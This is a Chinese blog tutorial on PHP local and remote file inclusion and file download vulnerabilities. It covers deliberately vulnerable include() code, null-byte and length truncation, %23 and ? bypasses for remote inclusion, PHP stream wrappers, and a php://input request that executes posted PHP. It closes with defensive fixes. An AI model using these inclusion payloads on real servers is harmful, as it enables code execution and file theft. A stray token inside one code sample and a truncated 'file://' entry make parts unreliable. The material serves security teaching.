文件包含和下载漏洞

文件包含和下载漏洞

1.漏洞检测和危害

1)什么是文件包含:文件包含(File Inclusion)是一种编程技术,用于将一个文件的内容嵌入到另一个文件中。它允许开发人员在一个文件中引用或包含另一个文件的代码或内容,以便在运行时可以重复使用这些代码。文件包含通常用于模块化开发,提高代码的可维护性和重用性。文件包含的主要优点是可以将功能划分到不同的文件中,并按需引用,从而使代码更加结构化和易于管理。

2)什么是下载漏洞:下载漏洞(Download Vulnerability),也称为文件下载漏洞或远程文件包含漏洞,指的是在Web应用程序中存在的一种安全漏洞,攻击者可以利用此漏洞下载非预期的文件或恶意文件。下载漏洞的原因主要是由于开发人员未对用户提供的输入进行充分验证和过滤,导致攻击者可以通过修改请求参数来访问任意文件或目录。

2.文件本地与远程包含

1)什么是文件本地:文件本地(Local File Inclusion,LFI)是一种Web应用程序的安全漏洞,允许攻击者在受影响的应用程序中读取本地服务器上的任意文件。这种漏洞通常存在于未正确验证和过滤用户提供的文件路径或参数的情况下。

2)什么是远程包含:远程包含(Remote File Inclusion,RFI)是一种Web应用程序的安全漏洞,允许攻击者在受影响的应用程序中包含并执行远程服务器上的外部文件。这种漏洞通常存在于未正确验证和过滤用户提供的远程文件路径或参数的情况下。

3.本地包含

无限制

即没有限制
比如:
1.新建一个upload.php文件服务

<?php
 $filename=$_GET['filename'];
 include ( $filename);
 ?>

2.再新建一个txt文件

<?php
 phpinfo();
 ?>

3.访问:http://localhost/include/upload.php?filename=1.txt
即可实现,把1.txt里面的文件变成了可以执行的代码

有限制

即包含的文件是有一定限制的,为了正确包含进去,需要适当的绕过
按照之前的方法:
1.新建一个upload2.php的文件服务

<?php
智榜样
$filename=$_GET['filename'];
 include($filename.".html");
 ?>

2.使用上面的txt文件

<?php
 phpinfo();
 ?>

3.访问:http://localhost/include/upload2.php?filename=1.txt
会出现报错——Failed opening ‘1.txt’

绕过方式
00截断

http://localhost/include/upload2.php?filename=1.txt%00

长度截断

原理:windows长度命名长度限制256个字符(由于磁盘分区需要占用一个字符,所以用户只
能使用255个字符命名文件夹。)

linux 长度限制4096。

http://localhost/include/upload2.php?filename=1.txt…


超过限制即可

远程包含

无限制

<?php
 phpinfo();
 ?>

本地访问:http://192.xxx.0.xx:88/1.txt(自己的IP)
http://localhost/include/upload.php?filename=http://192.xxx.0.xx:88/1.txt(自己的IP)
打开即可看到PHP的界面

有限制

访问:http://localhost/include/upload2.php?filename=http://192.xxx.0.xx:88/1.txt(自己的IP)
会出现报错
下面介绍绕过方式

文件名绕过

远程文件是可控的,他要求是1.txt.html
我们则可以修改成:
依旧是访问:http://localhost/include/upload2.php?filename=http://192.xxx.0.xx:88/1.txt

空格绕过

%23 是#
?
即利用传参数
http://localhost/include/upload2.php?filename=http://192.168.0.13:88/1.txt%23
http://localhost/include/upload2.php?filename=http://192.168.0.13:88/1.txt?

常见脚本伪协议

PHP伪协议(PHP wrapper)是一种特殊的URL方案,允许在PHP中访问各种数据源和资源,如文件、网络请求、数据库等。它们以 php:// 开头,后面跟着不同的封装器标识符来指定要访问的资源类型。

PHP支持的伪协议

php://input:用于访问HTTP请求的原始请求体内容。
php://output:用于访问HTTP响应的输出缓冲区。
php://stdin:用于从标准输入读取数据。
php://stdout:用于向标准输出写入数据。
php://stderr:用于向标准错误输出写入数据。
php://temp:用于创建临时内存文件。
php://memory:用于创建可读写的内存文件。
php://filter:用于对输入或输出流进行过滤处理。
php://fd:用于访问已打开文件的描述符。
le:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

http://、https://解读

http:// 和 https:// 是URL(统一资源定位符)中的协议部分,用于指示浏览器或其他客户端与服务器之间要使用的通信协议。

http://:HTTP协议(超文本传输协议),是Web浏览器和Web服务器之间最常用的协议。它使客户端能够通过互联网请求和接收Web页面、图像、视频、音频等资源。HTTP通信默认使用80端口。

https://:HTTPS协议(安全的HTTP),是HTTP的安全版本,通过使用SSL/TLS加密技术对通信进行加密和身份验证。这样可以确保在客户端和服务器之间传输的数据是私密和完整的。HTTPS通信默认使用443端口。

filter解读

在计算机编程中,“filter”(过滤器)是一种用于对数据进行处理或转换的技术或工具。它允许开发人员通过定义规则、条件或函数来筛选、修改或转换输入数据,以生成期望的输出。

在不同的上下文中,"filter"可以指代以下几个方面:

1.数据过滤:在数据处理中,过滤器可用于从给定数据集中选择、排除或变换特定的数据项。例如,在数据库查询中,可以使用过滤器指定条件来选择符合特定标准的记录。

2.输入过滤:在Web开发中,过滤器通常用于验证和清理用户输入数据,以确保其安全性和合法性。这些过滤器可以检查、修正或拒绝用户输入,以防止潜在的安全漏洞,如SQL注入、跨站脚本攻击等。

3.输出过滤:在生成动态内容时,输出过滤器用于对输出数据进行处理,以确保安全性和一致性。这些过滤器可以转义特殊字符、移除潜在的危险代码,或者根据规则对输出进行格式化和调整。

4.数据转换:过滤器还可以用于将原始数据转换为所需的格式或形式。例如,在图像处理中,滤镜可以应用于图像以实现各种效果,如模糊、锐化、色彩调整等。

php://filter URL 的语法如下:

php://filter/<filter>/<resource>

以下是一些常用的过滤器参数:

convert.base64-encode:将数据进行Base64编码。
convert.base64-decode:将Base64编码的数据解码为原始数据。
string.strip_tags:从字符串中去除HTML或PHP标签。
string.toupper:将字符串转换为大写。
string.tolower:将字符串转换为小写。
zlib.deflate:使用Zlib压缩算法进行数据压缩。
zlib.inflate:解压使用Zlib压缩的数据。

input解读

php://input 是一个 PHP 伪协议封装器(wrapper),用于访问 HTTP 请求的原始请求体内容。它可以让开发人员在 PHP 脚本中直接获取客户端发送的原始数据。

以下是一些关于 php://input 的重要事项:

1.php://input 可以在 PHP 中像读取文件一样读取请求体数据。您可以使用标准的文件读取函数或方法(如 file_get_contents() 或 fread())来获取请求体内容。

2.使用 php://input 读取请求体时,需要注意请求头中的 Content-Type 属性。如果 Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data,可以使用 $_POST 或 $_FILES 超全局变量来访问解析后的数据。但如果 Content-Type 是其他类型,如 application/json,则必须使用 php://input 来手动解析和处理请求体。

3.php://input 是只读的,无法直接写入请求体数据。

4.请求体数据通常是原始的、未经解析的数据。您需要根据实际情况对数据进行适当的解析,例如将 JSON 数据解码为 PHP 数组或对象。

5.在处理大型请求体数据时,应注意内存的使用情况。由于 php://input 将整个请求体加载到内存中,如果请求体过大可能导致内存溢出。

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

php://input + [POST DATA]
 http://127.0.0.1/include.php?file=php://input
 [POST DATA 部分]
 <?php phpinfo(); ?>

php://input 获取并处理 JSON 格式的请求体数据:

<?php
$jsonData = file_get_contents('php://input');
$data = json_decode($jsonData, true);

// 处理请求体数据
if ($data !== null) {
    // 对解析后的数据执行操作
    // ...
}
?>

file解读

file 是一个 PHP 函数,用于读取文件内容并将其存储为数组或字符串。

以下是 file 函数的一般语法:

file(string $filename, int $flags = 0, resource|null $context = null): array|string|false

参数说明:

$filename:要读取的文件名或路径。
$flags(可选):控制文件读取行为的可选标志。可以使用常量 FILE_IGNORE_NEW_LINES(忽略每行末尾的换行符)和 FILE_SKIP_EMPTY_LINES(跳过空行)进行组合,或者直接传递数字 0 或 1 来表示是否应用这些标志。
$context(可选):一个有效的上下文资源,用于指定文件读取的上下文选项。

返回值:

如果成功,则返回包含文件内容的数组(每行作为一个数组元素),如果文件为空,则返回空数组。
如果以第二个参数指定了 FILE_IGNORE_NEW_LINES 标志,那么每行末尾的换行符将被忽略。
如果以第二个参数指定了 FILE_SKIP_EMPTY_LINES 标志,并且存在空行,则空行将被跳过。
如果出现错误,则返回 false。
示例使用 file 函数读取指定路径下的文本文件,并将文件的内容存储在 $lines 数组中。

$lines = file('path/to/file.txt');
if ($lines !== false) {
    foreach ($lines as $line) {
        echo $line;
    }
}

data解读

以传递相应格式的数据。通常可以用来执行PHP代码

以下是一些常见的 PHP 上下文中关于 “data” 的解读:

1.数据库操作:PHP 提供了许多与数据库交互的功能,可以对数据进行存储、检索、更新和删除等操作。在这个上下文中,“data” 通常代表数据库中的记录、字段值或查询结果。

2.表单数据处理:当用户通过 HTML 表单提交数据时,PHP 可以用来处理这些数据。在这种情况下,“data” 指的是从表单获取的用户输入数据,可以使用超全局变量 $_POST 或 $_GET 来访问这些数据。

3.文件处理:PHP 具有丰富的文件处理功能,可以读取、写入、修改和删除文件。在这个环境中,“data” 可能指的是从文件中读取的内容,或者要写入文件的数据。

4.数据格式转换:PHP 支持不同的数据格式,比如 JSON、XML 等。在这种情况下,“data” 可能指的是将数据从一种格式转换为另一种格式的过程。

5.数据加工和计算:PHP 提供了各种函数和操作符,用于处理数值数据、字符串操作、日期计算等。在这个背景下,“data” 可能表示要进行处理和计算的原始数据。

文件包含漏洞修复与防御

文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,可能导致攻击者执行任意代码或访问敏感文件。以下是修复和防御文件包含漏洞的几种常见方法:

1)检查用户输入:首先,应仔细验证和过滤用户提供的输入。在包含文件之前,对传递给文件包含函数的变量进行严格的输入验证和过滤,确保只允许有效的、受信任的文件名或路径。

2)使用白名单:建立一个白名单,明确列出可被包含的文件或目录。只允许包含白名单中指定的文件,而不接受任意用户输入的文件名或路径。

3)避免动态文件包含:尽量避免使用用户提供的数据来构造文件包含路径。如果必须使用动态文件包含,请确保对用户提供的数据进行严格的验证和过滤,并限制其范围。

4)使用绝对路径:优先使用绝对路径而不是相对路径来引用被包含的文件。这有助于确保只加载预期的文件,并防止攻击者滥用相对路径漏洞。

5)限制文件包含函数:如果可能的话,限制可包含的文件的搜索范围。例如,在 PHP 中,可以通过设置 open_basedir 的值来限制文件包含函数的搜索路径。

6)文件权限设置:确保服务器上的文件和目录权限设置正确。遵循最小权限原则,只授予必要的读取和执行权限。

7)更新和维护软件:及时更新和维护服务器上运行的所有软件和框架。这包括操作系统、Web 服务器、数据库以及相关的库和组件。及时升级可以修复已知的漏洞和安全问题。

8)安全审计和测试:进行定期的安全审计和渗透测试,以检测和修复潜在的文件包含漏洞。这可以帮助发现并修复未被注意到的安全问题。

文件下载/读取漏洞

文件下载/读取漏洞(File Download/Read Vulnerability)是一种常见的安全漏洞,可能允许攻击者通过恶意构造的请求来读取或下载应用程序中的敏感文件。以下是修复和防御文件下载/读取漏洞的几种常见方法:

1)输入验证和过滤:对用户提供的输入进行严格的验证和过滤,确保只允许合法的文件名或路径。验证并限制允许下载/读取的文件范围,只允许访问特定目录下的文件。

2)文件权限设置:确保服务器上的文件和目录权限设置正确。遵循最小权限原则,只授予必要的读取权限,限制对敏感文件和目录的访问。

3)使用白名单:建立一个白名单,明确列出可被下载/读取的文件或目录。只允许下载白名单中指定的文件,而不接受任意用户输入的文件名或路径。

4)避免直接文件路径传递:避免直接将文件路径传递给下载/读取函数。而是使用间接引用,通过标识符或文件索引来查询文件路径,并确保没有通过用户输入来构建文件路径。

5)强制文件类型检查:在文件下载时,始终验证文件类型和扩展名,并确保仅允许下载/读取预期的文件类型。这可以防止攻击者通过修改文件扩展名来绕过检查,例如将一个可执行文件伪装成文本文件下载。

6)安全审计和测试:进行定期的安全审计和渗透测试,以检测和修复潜在的文件下载/读取漏洞。这可以帮助发现并修复未被注意到的安全问题。

7)文件上传验证:如果应用程序涉及文件上传功能,请确保对上传的文件进行详细验证和过滤,以避免上传恶意文件或覆盖现有文件。

8)加密文件内容:对于敏感文件内容,可以考虑加密存储或使用加密通道传输,确保数据在传输和存储过程中得到保护。

  • 33
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值